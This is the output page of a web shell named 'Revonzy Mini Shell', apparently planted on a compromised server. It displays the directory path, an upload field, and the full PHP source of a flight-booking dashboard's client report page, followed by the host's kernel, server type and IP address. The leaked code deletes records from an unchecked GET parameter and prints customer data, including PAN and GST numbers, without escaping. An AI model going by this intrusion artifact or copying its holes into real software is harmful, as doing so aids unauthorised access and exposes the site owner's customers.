Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/b2bflight.com/B2BFlight/project/dashboard/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/b2bflight.com/B2BFlight/project/dashboard/client-request-report.php

<?php
	require_once('lib/functions.php');
	$db		=	new class_functions();
	
	$flag	=	0;
	if(isset($_GET['delete_id']))
	{
		$delete_id	=	$_GET['delete_id'];
		
		if($db->delete_client_request_record($delete_id))
		{
			$flag	=	3;
		}
	}
?>
<!doctype html>
<html lang="en" dir="ltr">
  <head>
   <?php
		require_once('header-common.php');
   ?>
  </head>
  <body class="  ">
    <!-- loader Start -->
    <div id="loading">
      <div class="loader simple-loader">
          <div class="loader-body"></div>
      </div>    </div>
    <!-- loader END -->
    
    <aside class="sidebar sidebar-default sidebar-white sidebar-base navs-rounded-all ">
        <div class="sidebar-header d-flex align-items-center justify-content-start">
            <a href="index.php" class="navbar-brand">
				<img src="images/<?php echo $logo; ?>" class="software_logo" style="height:90px; width:220px;" />
            </a>
            <div class="sidebar-toggle" data-toggle="sidebar" data-active="true">
                <i class="icon">
                    <svg width="20" height="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
                        <path d="M4.25 12.2744L19.25 12.2744" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
                        <path d="M10.2998 18.2988L4.2498 12.2748L10.2998 6.24976" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
                    </svg>
                </i>
            </div>
        </div>
        
		<?php
		require_once('left-side.php');
	?>
		<div class="sidebar-footer"></div>
    </aside>   
	<main class="main-content">
    	<?php
			require_once('navbar.php');
		?>
	  
      <div class="conatiner-fluid content-inner mt-n5 py-0">
<div class="row">
    <div class="col-sm-12">
        <div class="card">
		
			<?php
				if($flag ==3)
				{
			?>
				<div class="mb-3 alert alert-left alert-success alert-dismissible fade show" role="alert" style="width:80%; margin:auto; margin-top:25px;">
					<span>Record Deleted Successfully</span>
					<button type="button" class="btn-close btn-close-white" data-bs-dismiss="alert" aria-label="Close"></button>
				</div>
			<?php
				}
			?>
			
		
            <div class="card-header d-flex justify-content-between flex-wrap">
                <div class="header-title">
                    <h4 class="card-title mb-0">Client Request Report</h4>
                </div>
				
			    <div class="card-body" style="overflow:scroll;">
                <div class="table-responsive">
                    <table class="table table-bordered">
                        <thead>
                            <tr>
								<th>Sr.No</th>
								<th>Job Number</th>
								<th>Client Entry Date</th>
								<th>Lab Reference Number</th>
								<th>Customer Name</th>
								<th>Address</th>
								<th>Project Name</th>
								<th>Contact Person</th>
								<th>Mobile No</th>
								<th>GST Number</th>
								<th>PAN</th>
								<th>Report Dispatch Mode</th>
								<th>Sample Material</th>
								<th>Quantity</th>
								<th>Sr No</th>
								<th>Type Of Sample</th>
								<th>tests</th>
								<th>Ref Standards</th>
								<th>Statement Of Confirmity Required</th>
								<th>Remarks</th>
								<th>Sample Adequacy</th>
								<th>Test Person Available</th>
								<th>Test With NABL Scope</th>
								<th>Source Adequacy</th>
								<th>Condition Of Sample</th>
								<th>Sample Inward By</th>
								<th>Instructions From Customers</th>
								<th>Test Contract Verified By</th>
								<th>Date</th>
								<th>Time</th>
                                <th class="text-center">Edit</th>
                                <th class="text-center">Delete</th>
                            </tr>
                        </thead>
                        <tbody>
							<?php
								$users_data	=	array();
								$users_data	=	$db->get_user_data();
								$counter = 1;
								if(!empty($users_data))
								{
									foreach($users_data as $record)
									{ 
										$res_id            						 = $users_data[$counter]['id'];
										$res_job_number          			  	 = $users_data[$counter]['job_number'];
										$res_client_entry_date    	 			 = $users_data[$counter]['client_entry_date'];
										$res_lab_reference_number 		 		 = $users_data[$counter]['lab_reference_number'];
										$res_customer_name			 			 = $users_data[$counter]['customer_name'];
										$res_address  		 					 = $users_data[$counter]['address'];
										$res_project_name		 				 = $users_data[$counter]['project_name'];
										$res_contact_person            			 = $users_data[$counter]['contact_person'];
										$res_mobile_no   						 = $users_data[$counter]['mobile_no'];
										$res_GST_number 		 		  		 = $users_data[$counter]['GST_number'];
										$res_PAN	 	 						 = $users_data[$counter]['PAN'];
										$res_report_dispatch_mode  				 = $users_data[$counter]['report_dispatch_mode'];
										$res_sample_material  					 = $users_data[$counter]['sample_material'];
										$res_quantity   				     	 = $users_data[$counter]['quantity'];
										$res_sr_no    							 = $users_data[$counter]['sr_no'];
										$res_type_of_sample 					 = $users_data[$counter]['type_of_sample'];
										$res_tests								 = $users_data[$counter]['tests'];
										$res_ref_standards 						 = $users_data[$counter]['ref_standards'];
										$res_statement_of_confirmity_required 	 = $users_data[$counter]['statement_of_confirmity_required'];
										$res_remarks							 = $users_data[$counter]['remarks'];
										$res_sample_adequacy 					 = $users_data[$counter]['sample_adequacy'];
										$res_test_person_available 				 = $users_data[$counter]['test_person_available'];
										$res_test_with_NABL_scope 				 = $users_data[$counter]['test_with_NABL_scope'];
										$res_source_adequacy 					 = $users_data[$counter]['source_adequacy'];
										$res_condition_of_sample 				 = $users_data[$counter]['condition_of_sample'];
										$res_sample_inward_by 					 = $users_data[$counter]['sample_inward_by'];
										$res_instructions_from_customers		 = $users_data[$counter]['instructions_from_customers'];
										$res_instructions_from_customers 		 = $users_data[$counter]['instructions_from_customers'];
										$res_test_contract_verified_by 		 	 = $users_data[$counter]['test_contract_verified_by'];	
										$res_date  		    					 = $users_data[$counter]['date'];
										$res_time 		     					 = $users_data[$counter]['time'];
							?>
                                <tr class="">
                                <td><?php echo  $counter+1;       				?></td>
								<td><?php echo  $res_job_number;  				?></td>
								<td><?php echo  $res_client_entry_date;	 	    ?></td>
								<td><?php echo  $res_lab_reference_number;	    ?></td>
								<td><?php echo  $res_customer_name;	    		?></td>
								<td><?php echo  $res_address;	   			    ?></td>
								<td><?php echo  $res_project_name;	    		?></td>
								<td><?php echo  $res_contact_person;	   	    ?></td>
								<td><?php echo  $res_mobile_no;	    			?></td>
								<td><?php echo  $res_GST_number;	    		?></td>
								<td><?php echo  $res_PAN;	    				?></td>
								<td><?php echo  $res_report_dispatch_mode;	    ?></td>
								<td><?php echo  $res_sample_material;	    	?></td>
								<td><?php echo  $res_quantity;	    			?></td>
								<td><?php echo  $res_sr_no;	    				?></td>
								<td><?php echo  $res_type_of_sample;	   	    ?></td>
								<td><?php echo  $res_tests;	    				?></td>
								<td><?php echo  $res_ref_standards;	    		?></td>
								<td><?php echo  $res_statement_of_confirmity_required; ?></td>
								<td><?php echo  $res_remarks;	    			?></td>
								<td><?php echo  $res_sample_adequacy;	    	?></td>
								<td><?php echo  $res_test_person_available;	    ?></td>
								<td><?php echo  $res_test_with_NABL_scope;	    ?></td>
								<td><?php echo  $res_source_adequacy;	   	    ?></td>
								<td><?php echo  $res_condition_of_sample;	    ?></td>
								<td><?php echo  $res_sample_inward_by;	    	?></td>
								<td><?php echo  $res_instructions_from_customers;	?></td>
								<td><?php echo  $res_test_contract_verified_by;	    ?></td>
								<td><?php echo  $res_date;		  	    ?></td>
								<td><?php echo  $res_time;	            ?></td> 
                                <td class="text-center">
                                    <a class="btn btn-sm btn-icon text-primary flex-end" data-bs-toggle="tooltip" title="Edit Client" href="#">
                                            <span class="btn-inner">
                                                <svg class="icon-20" width="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" >
                                                    <path d="M11.4925 2.78906H7.75349C4.67849 2.78906 2.75049 4.96606 2.75049 8.04806V16.3621C2.75049 19.4441 4.66949 21.6211 7.75349 21.6211H16.5775C19.6625 21.6211 21.5815 19.4441 21.5815 16.3621V12.3341" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
                                                    <path fill-rule="evenodd" clip-rule="evenodd" d="M8.82812 10.921L16.3011 3.44799C17.2321 2.51799 18.7411 2.51799 19.6721 3.44799L20.8891 4.66499C21.8201 5.59599 21.8201 7.10599 20.8891 8.03599L13.3801 15.545C12.9731 15.952 12.4211 16.181 11.8451 16.181H8.09912L8.19312 12.401C8.20712 11.845 8.43412 11.315 8.82812 10.921Z" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
                                                    <path d="M15.1655 4.60254L19.7315 9.16854" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
                                                </svg>
                                            </span>
                                        </a>
                                </td>
                                <!--<td class="text-center">
                                    <a class="btn btn-sm btn-icon text-danger "  data-bs-toggle="tooltip" onclick="return confirm('Are You Sure To Delete?');" title="Delete Client" href="<?php echo $_SERVER['PHP_SELF']."?delete_id=".$res_id; ?>">
                                            <span class="btn-inner">
                                                <svg class="icon-20" width="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" stroke="currentColor">
                                                    <path d="M19.3248 9.46826C19.3248 9.46826 18.7818 16.2033 18.4668 19.0403C18.3168 20.3953 17.4798 21.1893 16.1088 21.2143C13.4998 21.2613 10.8878 21.2643 8.27979 21.2093C6.96079 21.1823 6.13779 20.3783 5.99079 19.0473C5.67379 16.1853 5.13379 9.46826 5.13379 9.46826" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
                                                    <path d="M20.708 6.23975H3.75" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
                                                    <path d="M17.4406 6.23973C16.6556 6.23973 15.9796 5.68473 15.8256 4.91573L15.5826 3.69973C15.4326 3.13873 14.9246 2.75073 14.3456 2.75073H10.1126C9.53358 2.75073 9.02558 3.13873 8.87558 3.69973L8.63258 4.91573C8.47858 5.68473 7.80258 6.23973 7.01758 6.23973" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
                                                </svg>
                                            </span>
                                        </a>
                                </td>-->
                            </tr>
							
							<?php
									}
								}
							?>
						</tbody>
                    </table>
                  
                </div>
            </div>
	</div>
</div>
</div>
 
    <!-- Library Bundle Script -->
    <script src="../assets/js/core/libs.min.js"></script>
    
    <!-- External Library Bundle Script -->
    <script src="../assets/js/core/external.min.js"></script>
    
    <!-- Widgetchart Script -->
    <script src="../assets/js/charts/widgetcharts.js"></script>
    
    <!-- mapchart Script -->
    <script src="../assets/js/charts/vectore-chart.js"></script>
    <script src="../assets/js/charts/dashboard.js" ></script>
    
    <!-- fslightbox Script -->
    <script src="../assets/js/plugins/fslightbox.js"></script>
    
    <!-- Settings Script -->
    <script src="../assets/js/plugins/setting.js"></script>
    
    <!-- Slider-tab Script -->
    <script src="../assets/js/plugins/slider-tabs.js"></script>
    
    <!-- Form Wizard Script -->
    <script src="../assets/js/plugins/form-wizard.js"></script>
    
    <!-- AOS Animation Plugin-->
    <script src="../assets/vendor/aos/dist/aos.js"></script>
    
    <!-- App Script -->
    <script src="../assets/js/hope-ui.js" defer></script>
     <style>
	.sidebar.sidebar-default .nav-link:not(.static-item).active , .sidebar.sidebar-default .nav-link:not(.static-item).active, .sidebar.sidebar-default .nav-link:not(.static-item)[aria-expanded=true]
	{
		background-color:#FE6600 !important;
	}
	</style>
  </body>
</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4